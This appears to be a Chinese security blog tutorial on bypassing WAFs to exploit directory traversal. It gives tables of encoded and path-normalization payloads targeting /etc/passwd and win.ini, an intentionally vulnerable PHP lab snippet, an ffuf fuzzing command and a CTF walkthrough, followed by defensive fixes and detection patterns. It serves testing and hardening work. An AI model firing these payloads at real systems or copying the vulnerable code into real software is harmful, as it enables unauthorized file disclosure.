目录遍历这词儿,网上随便一搜都是老生常谈,可真到实战里能一次绕过去的没几个。我这两年和各类WAF打交道,测过Nginx、OpenResty、云WAF、自研网关,也带过不少新人做CTF和授权渗透,慢慢攒了一套800+Payload的测试思路。很多人以为绕WAF就是把编码轮着试一遍,其实大错特错。真正的关键是你得搞清楚WAF到底看了什么、没看什么、以及服务端最终拿到了什么。这篇文章我会把目录遍历绕过的核心原理、Payload分类思路、完整实测过程和踩坑记录全部分享出来,尤其针对2026年常见的语义分析型WAF,给出可落地的测试套路。无论你是CTF选手、渗透测试工程师,还是负责WAF运维的防守方,这篇都能给你省下大量踩坑时间。
1. 目录遍历与WAF拦截的本质:你到底在绕什么
要说绕过,先得明白WAF凭什么能拦住你。目录遍历的基础原理就一句话:程序在处理文件路径时,没有过滤用户传入的../或..\,导致可以跳出原本允许的目录。而WAF拦截的基础原理则是另一句话:它会把你这份HTTP请求从头到尾看一遍,用正则、规则引擎或机器学习模型找出危险特征。
1.1 目录遍历漏洞的产生原因
这个漏洞在PHP、Java、Node.js、Python的老代码里很常见,尤其是那些直接拼接路径的写法。比如PHP里include($_GET['page'])、file_get_contents($_GET['path']),或者Java里new File(request.getParameter("file")),这类代码默认认为传入参数就是个普通文件名,根本没想过../../etc/passwd这种事。Windows环境还会多一个反斜杠..\的问题,很多Linux写法的过滤规则在Windows服务端直接失效。
注意,目录遍历不光是读文件,配合文件包含还能执行代码;配合上传功能还能做到写文件。但底层逻辑一致:只要路径可控,就存在逃逸风险。这也解释了为什么CTF里目录遍历题基本都是送分题——因为它原理简单、判别容易,可现实中依然大量存在,尤其是老旧系统和外包项目。
1.2 WAF的检测思路与常见拦截点
大多数WAF拦截目录遍历依赖的是正则特征。它们会重点看三个地方:
- URL路径部分:比如
/download?id=../../etc/passwd,重点检查参数值。 - 请求头:部分程序会把文件名放在
X-Filename或Referer头里,WAF同样会检查。 - 请求体:POST表单或JSON体中的路径字段。
检测特征主要是../、..\、%2e%2e、URL编码变体等。看起来很容易对吧?但千万不要小看这个过程,因为WAF在检查前通常会对原始请求做一层或多层解码、标准化。有的WAF先做一次URL解码再匹配规则,有的会先解析Content-Type再做application/x-www-form-urlencoded解码,还有的会把/./、//之类的路径标准化。你发的Payload如果跟规则样本差一丁点,WAF就可能从“拦截”变成“放行”,这正是绕过的空间。
1.3 为什么单纯的Payload堆砌没用
我在很多技术群看到有人分享所谓“最新绕过Payload合集”,但实际上手一测经常全军覆没。原因很简单:绕过依赖三个变量的组合——客户端发送形式、WAF解析过程、服务端最终解析结果。你发的..%252f,WAF如果只解码一次,看到%252f不觉得危险,但服务端如果解码两次,最终就变成../,绕过成功。然而如果你的目标服务端只解码一次呢?这个Payload就永远无法触发漏洞,只会正常访问不存在的文件。
所以我一直主张:背Payload不如背“绕过维度”。只要掌握了编码组合、路径语义、平台差异这几个维度,你完全可以在测试现场现推Payload,甚至比背下来的更精准。
2. 800+Payload的整理维度与核心分类
有人一听800+就以为是一张超长列表,实际上我整理的这套Payload按构造逻辑分成四大类,一通百通。
2.1 编码混淆类:从单层到多层、从URL到Unicode
这是最基础也最常用的一类。核心思路是让WAF正则匹配不到危险字符串,但服务端解码后还原为路径穿越。常见编码形式包括:
| Payload示例 | 说明 |
|---|---|
../../etc/passwd | 原始Payload,用于确认漏洞存在 |
..%2f..%2fetc%2fpasswd | URL编码斜杠 |
%2e%2e%2f%2e%2e%2fetc%2fpasswd | 对点和斜杠都编码 |
..%252f..%252fetc%252fpasswd | 双重URL编码,需服务端解码两次 |
%c0%ae%c0%ae%c0%af | 过宽UTF-8编码,老版本Tomcat解析为../ |
..%u2216..%u2216etc%u2216passwd | Unicode反向斜杠,部分IIS场景 |
..%255c..%255cwindows%255cwin.ini | Windows下的双重编码反斜杠 |
%252e%252e%252f | 双重编码点、斜杠 |
这里最关键的点是:编码层数并非越多越好。三层以上编码大概率会让服务端直接当作普通字符串处理,不但不解析,还可能引发413或400。我实测中,单层URL编码和双重URL编码的成功率最高,Unicode畸形编码仅对特定中间件有效。测试时建议先用原始Payload确认漏洞,再逐层编码试探WAF。
2.2 路径语义类:利用解析器差异
这一类是高级选手最爱用的方式,因为不依赖编码,逻辑上更干净。核心是让Web服务器或者应用框架在路径标准化时,帮你把Payload变成正常路径。常见形式有:
/download/../../etc/passwd利用多段路径,让Web服务器先按路径路由,再交给后端。/static/../..//etc/passwd路径中存在多个斜杠。/....//....//etc/passwd某些中间件会把....//标准化为../。..;/..;/etc/passwdTomcat对分号路径参数的解析特性。%2e%2e%2f%2e%2e%2f有时候点和斜杠不统一,比如点用URL编码,斜杠用原始字符。
这类Payload最大的价值在于:它能让WAF看到的是“合法路径”,而服务端解析时得到的是穿越路径。现代WAF普遍做了URL解码,但对路径归一化(如/./、//处理)并不彻底,这给语义类绕过留了空间。
2.3 大小写与系统差异类
很多人低估了大小写的作用。Windows文件系统不区分大小写,但WAF规则是区分大小写的。于是..\..\Windows\System32\drivers\etc\hosts改为..\..\windows\system32\drivers\etc\hosts,规则可能就不匹配了。Linux上不存在这个优势,因为路径大小写敏感。还有一类是利用Windows设备名,比如..\..\con\con这类奇葩路径,但这属于另类思路,不是主线。
大小写绕过只能针对大小写敏感的正则规则,如果WAF检测时自动转小写,那这条路就走不通。我测试过某云WAF,会把整个请求体转小写再匹配,所以大小写变体对它是无效的。这里要自己总结目标WAF的行为特征。
2.4 干扰字符与混合绕过
在Payload里插入无害字符,让正则引擎错位,也是常见思路。常见的干扰方式有:
./../../etc/passwd前面加一个./。..%2f./../etc/passwd混合编码与原始斜杠。%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd部分编码部分不编码。- 使用Tab、换行、空字符,如
..%09..%09/etc/passwd,部分解析器会忽略Tab或将其视为分隔符。 - 在路径参数后加分号,如
..;/etc/passwd;,Tomcat等容器会把分号后内容当参数去掉。 - JSON参数中插入Unicode转义,如
{"file":"..\\u002f..\\u002fetc\\u002fpasswd"},如果后端有JSON解析,可能还原。
干扰字符的原理和编码不同,它并不依赖服务端解码,而是利用解析器在特定位置的宽容特性。测试时如果能提前知道目标中间件(如Tomcat、IIS、Nginx+PHP-FPM),可以直接针对其特性构造。
3. 实操:从搭建环境到完整绕过流程
理论讲再多,不如一次实测。下面我会用我的标准流程,带你从零验证一套Payload。这套流程我用了三年,基本通用。
3.1 本地搭建测试环境
推荐用Docker快速搭一个包含任意文件读取的漏洞环境。比如一个简单的PHP容器,代码为:
<?php $file = $_GET['file']; echo file_get_contents('/var/www/html/' . $file); ?>启动容器后,用BurpSuite把代理挂上,确认http://127.0.0.1:8080/?file=index.php可以正常访问。然后测试http://127.0.0.1:8080/?file=../../../../etc/passwd,如果能读到,说明漏洞成立。
如果你想测WAF,就在前面挂一个OpenResty或者云WAF实例。国内云WAF一般需要域名接入,本地环境可以改用ModSecurity模拟。记住:没有WAF时先确认漏洞,有WAF时才测绕过,顺序不能反。
3.2 手工验证三步法
我每次拿到一个疑似目录遍历的接口,不会急着跑爆破字典,而是按三步走:
第一步:确认参数位置与反射方式。是路径参数、查询参数还是POST请求体?响应是页面内容还是JSON里的某个字段?如果反射内容在响应头或状态码上,就需要调整观察方式。
第二步:用基础Payload探测。发送一次原始../,一次URL编码%2e%2e%2f,一次双编码%252e%252e%252f。观察状态码、响应长度、是否出现“403 Forbidden”或WAF拦截页。这一步用来判断WAF的拦截粒度。如果原始../被拦,而编码后不拦截,那就有戏。
第三步:根据响应差异判断解析深度。假设%2e%2e%2f返回200且内容包含root:,说明服务端解码一层;如果只有%252e%252e%252f返回200,则服务端可能解码两层。这个规律一旦摸清,你后面完全可以按需构造。
3.3 使用工具批量测试800+Payload
手工测太慢,我通常会把Payload字典丢给BurpSuite Intruder或ffuf跑。BurpSuite适合看状态码与响应长度差异,ffuf适合快速过滤响应大小。命令行示例:
ffuf -u 'http://target:8080/?file=FUZZ' -w traversal_payloads.txt -fs 0 -fw 2注意在-fs里过滤掉默认错误页的大小,这样能快速找到响应长度异常的结果。如果目标是POST接口,可以改用-d 'file=FUZZ' -X POST。
批量测试之后,把所有结果按响应长度排序,重点关注那些长度明显不同的项。这时候你可能会看到,原始Payload被WAF拦截,但某个双层编码Payload返回200。这个结果就是你要的。
我在实战中测过最绝的一次:某WAF把/.*..\//这种正则写成只匹配连续两点一斜杠,结果../被拦,但....//直接通过。服务端Nginx把....//归一化为../,于是成功读到文件。这种东西你不实际跑一遍字典,纯靠想是想不出来的。
3.4 实战案例:一次CTFHub题目的绕过全过程
拿CTFHub常见的“目录遍历”来说,题目环境往往开着WAF模拟规则。我的测试记录大致是:
- 开局直接
?file=../../../../flag,返回403并提示拦截。 - 改成
?file=..%2f..%2f..%2f..%2fflag,依然403。 - 加双重编码
..%252f..%252f..%252f..%252fflag,状态码变200,响应里出现flag内容。 - 后来确认服务端是Nginx + PHP,Nginx先解码一层,PHP又解码一层,而WAF只检查了原始请求内容,没有对二次解码后的内容做规则匹配。
这个例子能说明,在真实环境里,绕过不是靠幸运,而是靠搞清楚中间件解码链路。把解码链路画出来,你大概率能找到WAF遗漏的那一个环节。
3.5 平台差异与Payload选择
不同操作系统和中间件的解析差异非常大,我整理了一张速查表:
| 环境 | 关键特性 | 推荐Payload方向 |
|---|---|---|
| Linux + Nginx + PHP | ..%2f对Nginx有时不会合并,PHP会处理 | 双重URL编码、....// |
| Windows + IIS | 大小写不敏感、支持反斜杠 | ..\..\windows\win.ini、大小写变体 |
| Tomcat | 分号路径参数、/标准化 | ..;/..;/、%2e%2e%2f |
| Spring Boot | RFC 3986解析、Unicode编码 | /..%252f..%252f、Unicode变体 |
| Go/gin | net/url会标准化 | ..%2f通常会被保留,需编码绕过 |
同一个Payload在Linux下有效不代表在Windows下有效,反之亦然。如果你面前是个未知目标,那么用一个跨平台字典覆盖所有编码形式是最稳妥的做法,这也是800+Payload存在的意义。
4. 常见问题排查与响应码诊断实录
测Payload绕WAF,劝退新手的往往是各种奇奇怪怪的响应码和拦截页。下面这些坑我都踩过,直接给你排雷。
4.1 413 Request Entity Too Large 的真相
热词里提到的unexpected status 413 payload too large,我最初也摸不着头脑。这个状态码通常由代理服务器或WAF返回,意思是请求体或整体请求头超过允许大小。听起来跟目录遍历八竿子打不着,但实际测试中经常出现。
原因一般有三种:
- 你使用的字典里存在超长Payload,比如某个Unicode编码字符串有几百字符,网关默认限制1MB或8KB,直接给你413。
- WAF检测到大量可疑内容后主动拒绝,用413来阻断请求。
- 上游Nginx配置了
client_max_body_size,默认1MB,你POST的数据太大。
解决办法很简单:控制Payload长度。一个目录遍历Payload最多三四十个字符就够表达全部语义,超过80个字符的基本不是好Payload。如果遇到413,先检查自己是不是把整个字典丢进了一个请求里,或者是否用了POST大体积Body。
4.2 403 Forbidden / 405 Method Not Allowed / 200 的区分
- 403 说明WAF精准拦截,或者服务端做了目录权限控制。先判断是谁返回的,看响应头里有没有WAF指纹。
- 405 一般是方法不允许,跟绕过无关。
- 200 且响应长度异常,可能是绕过成功的信号。
- 200 但响应内容仍是错误页或首页,可能只是路由吞掉了参数,不算成功。
我习惯在字典里混入一个正常文件请求(比如?file=index.php)作为基准。如果请求正常文件是200,但?file=../../etc/passwd是403,说明拦截明确;如果?file=../../etc/passwd是200但返回内容等于?file=index.php,说明后端可能做了白名单过滤,把非法值替换成了默认值。
4.3 响应时间与长度差异
有些高级WAF会模拟正常响应,故意返回一个同样的200页面来误导测试。这时候响应长度可能没差异,但响应时间会异常。比如某CDN WAF会把拦截请求也转发到源站,导致响应时间比正常快或慢。我排查时会同时记录响应长度、响应时间、状态码,三个维度交叉判断。如果三个维度都一样,就要考虑是不是返回了缓存内容。
4.4 绕过成功的判定标准
不要一看到200就觉得成功了。真正的目录遍历成功标志是:响应中出现了目标文件的内容特征。比如/etc/passwd里的root:x:0:0,Windows的win.ini里的[fonts]。如果只是状态码变了,响应内容还是你网站的404页,那大概率是假阳性。所以在字典中我会专门放几个强特征文件,Linux放/etc/passwd和/etc/hosts,Windows放/windows/win.ini。跑完字典只看这些文件对应的Payload是否强特征命中。
4.5 常见的WAF指纹识别技巧
想绕过先得知道对面是谁。看响应头里的Server和X-Powered-By是最直接的,比如Server: openresty说明是Nginx + Lua,X-WAF-Status: forbidden可能是某个开源WAF。有些云WAF不暴露指纹,就通过拦截页标题判断,比如出现“安全提醒”“人机验证”等字样。另外,用同一个Payload分别测http://ip和http://域名,如果结果不同,说明有透明WAF介入,可以做域名对比测试。
5. 防守方视角:如何让目录遍历和WAF都失效
聊完绕过,得聊聊守。因为绕过研究得越深,越能理解防守方应该怎么加固。这部分是给开发和安全运维的实操建议。
5.1 服务端代码层的根本修复
目录遍历的修复根本不在WAF,而在代码层。最稳妥的方案是使用语言内置的规范化函数:
- PHP:
realpath()解析后检查是否在预定目录内。 - Java:
normalize()+startsWith()。 - Python:
os.path.abspath()后比对前缀。 - Node.js:
path.resolve()后检查前缀。
以PHP为例:
$base = '/var/www/html/'; $path = realpath($base . $_GET['file']); if ($path === false || strpos($path, $base) !== 0) { die('非法路径'); }这样无论攻击者如何编码,最终落到文件系统的一定是真实路径,无法逃逸。另外,从文件名中剥离路径也是一个思路,只取basename($_GET['file']),但要注意Windows下basename对反斜杠处理的坑。
5.2 白名单与规范化输入
如果业务上只能允许某些文件被访问,直接做白名单最安全。比如地图数据、导出报表、附件下载,把允许的文件名校验到数组里:
$allowed = ['report_2026.pdf', 'manual.pdf']; if (!in_array($_GET['file'], $allowed, true)) { http_response_code(403); exit; }白名单一上,再强的绕过Payload都没用。如果文件列表太多,可以用前缀目录检查加后缀过滤。反正原则是:不要信任何输入,只信规范化后的绝对路径。
5.3 WAF规则优化核心:解码层数与路径标准化
从WAF运维角度,最常见的不足是只做一层URL解码、不处理二次编码和路径归一化。我的建议是:
- 对请求参数做至少两层URL解码后再匹配规则,但要注意不要影响业务数据里的合法
%。 - 在规则库中加入
%252f、%25252f等常见双重编码样本。 - 对路径部分做标准化,合并
/./、//、/../后再匹配目录穿越特征。 - 将大小写不敏感应用于路径检测,特别是Windows场景。
- 增加对分号路径参数、反斜杠、Unicode特殊字符的规则。
一句话总结:凡是服务端可能复原的形态,WAF都要尝试复原一遍。你只有比攻击者多解码一层,才能说自己在防守,否则就是靠运气。
5.4 日志监控与告警特征
即使WAF没拦住,完善的日志监控可以作为第二道防线。建议在访问日志中对以下特征单独标记并告警:
- 参数值中包含
../、..\、%2e%2e、%252e%252e等字符。 - 访问了系统敏感文件路径,如
/etc/passwd、/windows/win.ini、.env。 - 单个URL参数中包含超过2个斜杠编码形态。
- 响应状态码为200但响应长度与同类型正常请求差异超过50%。
把这些特征做成实时告警,即使被绕过,你也能在第一时间发现并止损。很多时候攻击者绕过了WAF,但忘记了删除访问日志,这恰恰是防守方最该抓住的机会。
5.5 从绕过的角度反查漏洞
我在做红队时有个习惯:每发现一个绕过思路,就记下来,反手就能给客户提加固建议。比如你发现某WAF不查双重编码,那么建议运维在WAF规则里增加双重解码匹配;你发现....//能过,就建议网关层增加路径标准化模块。攻防本就是互相推动的过程,这份800+Payload字典,与其说是攻击武器,不如说是一份防守自查清单更贴切。
6. 把Payload整理成自己的字典:一点个人心得
最后分享一个实用经验,特别适合刚入行的人。网上有很多现成的Payload列表,但直接拿来用往往效率低。我的做法是:按自己的测试环境验证过的结果重新整理字典。每次测通一个新Payload,就记录三栏:原始Payload、目标环境、WAF行为。久而久之,你会积累一份真正属于自己的高命中率字典,而不是网上抄来的大杂烩。
比如你会慢慢发现,某个客户内部系统用老版本Tomcat,那么..;/..;/的命中率奇高;另一个系统用Nginx反代PHP-FPM,那么..%252f才是王道。这种环境关联是纯列表给不了你的。把800+Payload按环境打标签之后,跑起来不需要盲目爆破,直接挑几个高优先生试,又快又准。
另外,无论攻防,都要坚守授权边界。所有测试必须在你有合法授权的目标上进行,否则再牛的技术也会变成事故。目录遍历这种漏洞虽然经典,但从未消失,每一轮测试背后的核心不是“背了多少Payload”,而是“理解了解析链路的每一环”。搞懂了WAF和服务端的输入输出差异,你手里的字典随便减到几十条也一样能打。这份能力,才是真正值得长期投资的东西。